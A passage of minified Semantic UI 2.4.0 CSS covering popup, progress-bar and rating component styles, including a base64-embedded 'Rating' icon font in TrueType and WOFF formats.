top}.ui.bottom.center.popup:before{margin-left:-.30714286em;top:-.30714286em;left:50%;right:auto;bottom:auto;-webkit-box-shadow:-1px -1px 0 0 #bababc;box-shadow:-1px -1px 0 0 #bababc}.ui.bottom.left.popup{margin-left:0}.ui.bottom.left.popup:before{top:-.30714286em;left:1em;right:auto;bottom:auto;margin-left:0;-webkit-box-shadow:-1px -1px 0 0 #bababc;box-shadow:-1px -1px 0 0 #bababc}.ui.bottom.right.popup{margin-right:0}.ui.bottom.right.popup:before{top:-.30714286em;right:1em;bottom:auto;left:auto;margin-left:0;-webkit-box-shadow:-1px -1px 0 0 #bababc;box-shadow:-1px -1px 0 0 #bababc}.ui.top.center.popup:before{top:auto;right:auto;bottom:-.30714286em;left:50%;margin-left:-.30714286em}.ui.top.left.popup{margin-left:0}.ui.top.left.popup:before{bottom:-.30714286em;left:1em;top:auto;right:auto;margin-left:0}.ui.top.right.popup{margin-right:0}.ui.top.right.popup:before{bottom:-.30714286em;right:1em;top:auto;left:auto;margin-left:0}.ui.left.center.popup:before{top:50%;right:-.30714286em;bottom:auto;left:auto;margin-top:-.30714286em;-webkit-box-shadow:1px -1px 0 0 #bababc;box-shadow:1px -1px 0 0 #bababc}.ui.right.center.popup:before{top:50%;left:-.30714286em;bottom:auto;right:auto;margin-top:-.30714286em;-webkit-box-shadow:-1px 1px 0 0 #bababc;box-shadow:-1px 1px 0 0 #bababc}.ui.bottom.popup:before{background:#fff}.ui.left.center.popup:before,.ui.right.center.popup:before{background:#fff}.ui.top.popup:before{background:#fff}.ui.inverted.bottom.popup:before{background:#1b1c1d}.ui.inverted.left.center.popup:before,.ui.inverted.right.center.popup:before{background:#1b1c1d}.ui.inverted.top.popup:before{background:#1b1c1d}.ui.popup>.ui.grid:not(.padded){width:calc(100% + 1.75rem);margin:-.7rem -.875rem}.ui.loading.popup{display:block;visibility:hidden;z-index:-1}.ui.animating.popup,.ui.visible.popup{display:block}.ui.visible.popup{-webkit-transform:translateZ(0);transform:translateZ(0);-webkit-backface-visibility:hidden;backface-visibility:hidden}.ui.basic.popup:before{display:none}.ui.wide.popup{max-width:350px}.ui[class*="very wide"].popup{max-width:550px}@media only screen and (max-width:767px){.ui.wide.popup,.ui[class*="very wide"].popup{max-width:250px}}.ui.fluid.popup{width:100%;max-width:none}.ui.inverted.popup{background:#1b1c1d;color:#fff;border:none;-webkit-box-shadow:none;box-shadow:none}.ui.inverted.popup .header{background-color:none;color:#fff}.ui.inverted.popup:before{background-color:#1b1c1d;-webkit-box-shadow:none!important;box-shadow:none!important}.ui.flowing.popup{max-width:none}.ui.mini.popup{font-size:.78571429rem}.ui.tiny.popup{font-size:.85714286rem}.ui.small.popup{font-size:.92857143rem}.ui.popup{font-size:1rem}.ui.large.popup{font-size:1.14285714rem}.ui.huge.popup{font-size:1.42857143rem}/*! + * # Semantic UI 2.4.0 - Progress Bar + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.progress{position:relative;display:block;max-width:100%;border:none;margin:1em 0 2.5em;-webkit-box-shadow:none;box-shadow:none;background:rgba(0,0,0,.1);padding:0;border-radius:.28571429rem}.ui.progress:first-child{margin:0 0 2.5em}.ui.progress:last-child{margin:0 0 1.5em}.ui.progress .bar{display:block;line-height:1;position:relative;width:0%;min-width:2em;background:#888;border-radius:.28571429rem;-webkit-transition:width .1s ease,background-color .1s ease;transition:width .1s ease,background-color .1s ease}.ui.progress .bar>.progress{white-space:nowrap;position:absolute;width:auto;font-size:.92857143em;top:50%;right:.5em;left:auto;bottom:auto;color:rgba(255,255,255,.7);text-shadow:none;margin-top:-.5em;font-weight:700;text-align:left}.ui.progress>.label{position:absolute;width:100%;font-size:1em;top:100%;right:auto;left:0;bottom:auto;color:rgba(0,0,0,.87);font-weight:700;text-shadow:none;margin-top:.2em;text-align:center;-webkit-transition:color .4s ease;transition:color .4s ease}.ui.indicating.progress[data-percent^="1"] .bar,.ui.indicating.progress[data-percent^="2"] .bar{background-color:#d95c5c}.ui.indicating.progress[data-percent^="3"] .bar{background-color:#efbc72}.ui.indicating.progress[data-percent^="4"] .bar,.ui.indicating.progress[data-percent^="5"] .bar{background-color:#e6bb48}.ui.indicating.progress[data-percent^="6"] .bar{background-color:#ddc928}.ui.indicating.progress[data-percent^="7"] .bar,.ui.indicating.progress[data-percent^="8"] .bar{background-color:#b4d95c}.ui.indicating.progress[data-percent^="100"] .bar,.ui.indicating.progress[data-percent^="9"] .bar{background-color:#66da81}.ui.indicating.progress[data-percent^="1"] .label,.ui.indicating.progress[data-percent^="2"] .label{color:rgba(0,0,0,.87)}.ui.indicating.progress[data-percent^="3"] .label{color:rgba(0,0,0,.87)}.ui.indicating.progress[data-percent^="4"] .label,.ui.indicating.progress[data-percent^="5"] .label{color:rgba(0,0,0,.87)}.ui.indicating.progress[data-percent^="6"] .label{color:rgba(0,0,0,.87)}.ui.indicating.progress[data-percent^="7"] .label,.ui.indicating.progress[data-percent^="8"] .label{color:rgba(0,0,0,.87)}.ui.indicating.progress[data-percent^="100"] .label,.ui.indicating.progress[data-percent^="9"] .label{color:rgba(0,0,0,.87)}.ui.indicating.progress[data-percent="1"] .bar,.ui.indicating.progress[data-percent="2"] .bar,.ui.indicating.progress[data-percent="3"] .bar,.ui.indicating.progress[data-percent="4"] .bar,.ui.indicating.progress[data-percent="5"] .bar,.ui.indicating.progress[data-percent="6"] .bar,.ui.indicating.progress[data-percent="7"] .bar,.ui.indicating.progress[data-percent="8"] .bar,.ui.indicating.progress[data-percent="9"] .bar{background-color:#d95c5c}.ui.indicating.progress[data-percent="1"] .label,.ui.indicating.progress[data-percent="2"] .label,.ui.indicating.progress[data-percent="3"] .label,.ui.indicating.progress[data-percent="4"] .label,.ui.indicating.progress[data-percent="5"] .label,.ui.indicating.progress[data-percent="6"] .label,.ui.indicating.progress[data-percent="7"] .label,.ui.indicating.progress[data-percent="8"] .label,.ui.indicating.progress[data-percent="9"] .label{color:rgba(0,0,0,.87)}.ui.indicating.progress.success .label{color:#1a531b}.ui.progress.success .bar{background-color:#21ba45!important}.ui.progress.success .bar,.ui.progress.success .bar::after{-webkit-animation:none!important;animation:none!important}.ui.progress.success>.label{color:#1a531b}.ui.progress.warning .bar{background-color:#f2c037!important}.ui.progress.warning .bar,.ui.progress.warning .bar::after{-webkit-animation:none!important;animation:none!important}.ui.progress.warning>.label{color:#794b02}.ui.progress.error .bar{background-color:#db2828!important}.ui.progress.error .bar,.ui.progress.error .bar::after{-webkit-animation:none!important;animation:none!important}.ui.progress.error>.label{color:#912d2b}.ui.active.progress .bar{position:relative;min-width:2em}.ui.active.progress .bar::after{content:'';opacity:0;position:absolute;top:0;left:0;right:0;bottom:0;background:#fff;border-radius:.28571429rem;-webkit-animation:progress-active 2s ease infinite;animation:progress-active 2s ease infinite}@-webkit-keyframes progress-active{0%{opacity:.3;width:0}100%{opacity:0;width:100%}}@keyframes progress-active{0%{opacity:.3;width:0}100%{opacity:0;width:100%}}.ui.disabled.progress{opacity:.35}.ui.disabled.progress .bar,.ui.disabled.progress .bar::after{-webkit-animation:none!important;animation:none!important}.ui.inverted.progress{background:rgba(255,255,255,.08);border:none}.ui.inverted.progress .bar{background:#888}.ui.inverted.progress .bar>.progress{color:#f9fafb}.ui.inverted.progress>.label{color:#fff}.ui.inverted.progress.success>.label{color:#21ba45}.ui.inverted.progress.warning>.label{color:#f2c037}.ui.inverted.progress.error>.label{color:#db2828}.ui.progress.attached{background:0 0;position:relative;border:none;margin:0}.ui.progress.attached,.ui.progress.attached .bar{display:block;height:.2rem;padding:0;overflow:hidden;border-radius:0 0 .28571429rem .28571429rem}.ui.progress.attached .bar{border-radius:0}.ui.progress.top.attached,.ui.progress.top.attached .bar{top:0;border-radius:.28571429rem .28571429rem 0 0}.ui.progress.top.attached .bar{border-radius:0}.ui.card>.ui.attached.progress,.ui.segment>.ui.attached.progress{position:absolute;top:auto;left:0;bottom:100%;width:100%}.ui.card>.ui.bottom.attached.progress,.ui.segment>.ui.bottom.attached.progress{top:100%;bottom:auto}.ui.red.progress .bar{background-color:#db2828}.ui.red.inverted.progress .bar{background-color:#ff695e}.ui.orange.progress .bar{background-color:#f2711c}.ui.orange.inverted.progress .bar{background-color:#ff851b}.ui.yellow.progress .bar{background-color:#fbbd08}.ui.yellow.inverted.progress .bar{background-color:#ffe21f}.ui.olive.progress .bar{background-color:#b5cc18}.ui.olive.inverted.progress .bar{background-color:#d9e778}.ui.green.progress .bar{background-color:#21ba45}.ui.green.inverted.progress .bar{background-color:#2ecc40}.ui.teal.progress .bar{background-color:#00b5ad}.ui.teal.inverted.progress .bar{background-color:#6dffff}.ui.blue.progress .bar{background-color:#2185d0}.ui.blue.inverted.progress .bar{background-color:#54c8ff}.ui.violet.progress .bar{background-color:#6435c9}.ui.violet.inverted.progress .bar{background-color:#a291fb}.ui.purple.progress .bar{background-color:#a333c8}.ui.purple.inverted.progress .bar{background-color:#dc73ff}.ui.pink.progress .bar{background-color:#e03997}.ui.pink.inverted.progress .bar{background-color:#ff8edf}.ui.brown.progress .bar{background-color:#a5673f}.ui.brown.inverted.progress .bar{background-color:#d67c1c}.ui.grey.progress .bar{background-color:#767676}.ui.grey.inverted.progress .bar{background-color:#dcddde}.ui.black.progress .bar{background-color:#1b1c1d}.ui.black.inverted.progress .bar{background-color:#545454}.ui.tiny.progress{font-size:.85714286rem}.ui.tiny.progress .bar{height:.5em}.ui.small.progress{font-size:.92857143rem}.ui.small.progress .bar{height:1em}.ui.progress{font-size:1rem}.ui.progress .bar{height:1.75em}.ui.large.progress{font-size:1.14285714rem}.ui.large.progress .bar{height:2.5em}.ui.big.progress{font-size:1.28571429rem}.ui.big.progress .bar{height:3.5em}/*! + * # Semantic UI 2.4.0 - Rating + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.rating{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;white-space:nowrap;vertical-align:baseline}.ui.rating:last-child{margin-right:0}.ui.rating .icon{padding:0;margin:0;text-align:center;font-weight:400;font-style:normal;-webkit-box-flex:1;-ms-flex:1 0 auto;flex:1 0 auto;cursor:pointer;width:1.25em;height:auto;-webkit-transition:opacity .1s ease,background .1s ease,text-shadow .1s ease,color .1s ease;transition:opacity .1s ease,background .1s ease,text-shadow .1s ease,color .1s ease}.ui.rating .icon{background:0 0;color:rgba(0,0,0,.15)}.ui.rating .active.icon{background:0 0;color:rgba(0,0,0,.85)}.ui.rating .icon.selected,.ui.rating .icon.selected.active{background:0 0;color:rgba(0,0,0,.87)}.ui.star.rating .icon{width:1.25em;height:auto;background:0 0;color:rgba(0,0,0,.15);text-shadow:none}.ui.star.rating .active.icon{background:0 0!important;color:#ffe623!important;text-shadow:0 -1px 0 #ddc507,-1px 0 0 #ddc507,0 1px 0 #ddc507,1px 0 0 #ddc507!important}.ui.star.rating .icon.selected,.ui.star.rating .icon.selected.active{background:0 0!important;color:#fc0!important;text-shadow:0 -1px 0 #e6a200,-1px 0 0 #e6a200,0 1px 0 #e6a200,1px 0 0 #e6a200!important}.ui.heart.rating .icon{width:1.4em;height:auto;background:0 0;color:rgba(0,0,0,.15);text-shadow:none!important}.ui.heart.rating .active.icon{background:0 0!important;color:#ff6d75!important;text-shadow:0 -1px 0 #cd0707,-1px 0 0 #cd0707,0 1px 0 #cd0707,1px 0 0 #cd0707!important}.ui.heart.rating .icon.selected,.ui.heart.rating .icon.selected.active{background:0 0!important;color:#ff3000!important;text-shadow:0 -1px 0 #aa0101,-1px 0 0 #aa0101,0 1px 0 #aa0101,1px 0 0 #aa0101!important}.ui.disabled.rating .icon{cursor:default}.ui.rating.selected .active.icon{opacity:1}.ui.rating .icon.selected,.ui.rating.selected .icon.selected{opacity:1}.ui.mini.rating{font-size:.78571429rem}.ui.tiny.rating{font-size:.85714286rem}.ui.small.rating{font-size:.92857143rem}.ui.rating{font-size:1rem}.ui.large.rating{font-size:1.14285714rem}.ui.huge.rating{font-size:1.42857143rem}.ui.massive.rating{font-size:2rem}@font-face{font-family:Rating;src:url(data:application/x-font-ttf;charset=utf-8;base64,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) format('truetype'),url(data:application/font-woff;charset=utf-8;base64,d09GRk9UVE8AABcUAAoAAAAAFswAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAAA9AAAEuEAABLho6TvIE9TLzIAABPYAAAAYAAAAGAIIwgbY21hcAAAFDgAAACkAAAApKPambxnYXNwAAAU3AAAAAgAAAAIAAAAEGhlYWQAABTkAAAANgAAADYBGAe5aGhlYQAAFRwAAAAkAAAAJAPiAf1obXR4AAAVQAAAAHAAAABwLOAAQ21heHAAABWwAAAABgAAAAYAHFAAbmFtZQAAFbgAAAE8AAABPPC1n05wb3N0AAAW9AAAACAAAAAgAAMAAAEABAQAAQEBB3JhdGluZwABAgABADr4HAL4GwP4GAQeCgAZU/+Lix4KABlT/4uLDAeLZviU+HQFHQAAAP0PHQAAAQIRHQAAAAkdAAAS2BIAHQEBBw0PERQZHiMoLTI3PEFGS1BVWl9kaW5zeH2Ch4xyYXRpbmdyYXRpbmd1MHUxdTIwdUU2MDB1RTYwMXVFNjAydUU2MDN1RTYwNHVFNjA1dUYwMDR1RjAwNXVGMDA2dUYwMEN1RjAwRHVGMDIzdUYwMkV1RjA2RXVGMDcwdUYwODd1RjA4OHVGMDg5dUYwOEF1RjA5N3VGMDlDdUYxMjN1RjE2NHVGMTY1AAACAYkAGgAcAgABAAQABwAKAA0AVgCWAL0BAgGMAeQCbwLwA4cD5QR0BQMFdgZgB8MJkQtxC7oM2Q1jDggOmRAYEZr8lA78lA78lA77lA74lPetFftFpTz3NDz7NPtFcfcU+xBt+0T3Mt73Mjht90T3FPcQBfuU+0YV+wRRofcQMOP3EZ3D9wXD+wX3EXkwM6H7EPsExQUO+JT3rRX7RaU89zQ8+zT7RXH3FPsQbftE9zLe9zI4bfdE9xT3EAX7lPtGFYuLi/exw/sF9xF5MDOh+xD7BMUFDviU960V+0WlPPc0PPs0+0Vx9xT7EG37RPcy3vcyOG33RPcU9xAFDviU98EVi2B4ZG5wCIuL+zT7NAV7e3t7e4t7i3ube5sI+zT3NAVupniyi7aL3M3N3Iu2i7J4pm6mqLKetovci81JizoIDviU98EVi9xJzTqLYItkeHBucKhknmCLOotJSYs6i2CeZKhwCIuL9zT7NAWbe5t7m4ubi5ubm5sI9zT3NAWopp6yi7YIME0V+zb7NgWKioqKiouKi4qMiowI+zb3NgV6m4Ghi6OLubCwuYuji6GBm3oIule6vwWbnKGVo4u5i7Bmi12Lc4F1ensIDviU98EVi2B4ZG5wCIuL+zT7NAV7e3t7e4t7i3ube5sI+zT3NAVupniyi7aL3M3N3Iuni6WDoX4IXED3BEtL+zT3RPdU+wTLssYFl46YjZiL3IvNSYs6CA6L98UVi7WXrKOio6Otl7aLlouXiZiHl4eWhZaEloSUhZKFk4SShZKEkpKSkZOSkpGUkZaSCJaSlpGXj5iPl42Wi7aLrX+jc6N0l2qLYYthdWBgYAj7RvtABYeIh4mGi4aLh42Hjgj7RvdABYmNiY2Hj4iOhpGDlISUhZWFlIWVhpaHmYaYiZiLmAgOZ4v3txWLkpCPlo0I9yOgzPcWBY6SkI+Ri5CLkIePhAjL+xb3I3YFlomQh4uEi4aJh4aGCCMmpPsjBYuKi4mLiIuHioiJiImIiIqHi4iLh4yHjQj7FM/7FUcFh4mHioiLh4uIjImOiY6KjouPi4yLjYyOCKP3IyPw